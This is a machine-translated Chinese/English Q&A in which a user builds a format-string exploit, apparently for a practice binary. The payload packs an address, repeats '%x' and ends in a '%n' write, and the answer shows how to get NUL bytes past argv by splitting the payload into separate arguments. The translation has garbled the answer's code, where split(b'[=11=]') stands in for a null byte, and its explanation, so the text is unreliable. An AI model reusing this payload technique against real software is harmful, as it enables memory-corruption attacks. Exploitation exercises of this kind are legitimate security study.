"must be a string without null bytes" 或 "can't concat str to bytes" 在命令行上传递负载

"must be a string without null bytes" or "can't concat str to bytes" passing a payload on a command line

我正在尝试为练习创建 exploit,但我遇到了以下代码的问题:

#!/usr/bin/python
import os
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
os.system("/home/osboxes/Desktop/formatString " + payload)

但是错误如下: TypeError: system() 参数 1 必须是没有空字节的字符串,而不是 str

我正在尝试使用“子进程”实用程序升级到 python 的当前版本:

#!/usr/bin/python3
import subprocess
import struct
address = struct.pack("I",0x201014)
payload = address+"." + ".%x."*131 + ".%n."
subprocess.call("/home/osboxes/Desktop/formatString " + payload, shell=True)

但是错误如下: 类型错误:无法将 str 连接到字节

如何解决两个版本的 byte 或 str 转换问题?两个程序都认为错误在“payload = ...”

该字符串无法在 UNIX 上作为命令行参数传递。

为什么?因为它包含 NUL 文字,而 UNIX 命令行由 C 字符串组成——以 NUL 结尾。

>>> address = struct.pack("I",0x201014)
>>> address
b'\x14\x10 \x00'

看到 \x00 了吗?不允许,不可能——至少不能作为 one 命令行参数。


但是你可以把它放在一个argv中,只要它被分成多个参数。注意shell=False以下:

payload = (address + (b'.%x.' * 131) + b'.%n.').split(b'[=11=]')
subprocess.call(['/home/osboxes/Desktop/formatString'] + payload)

这是如何运作的?因为 终止每个单独的 C 字符串 \x00 隐含地存在于边界点。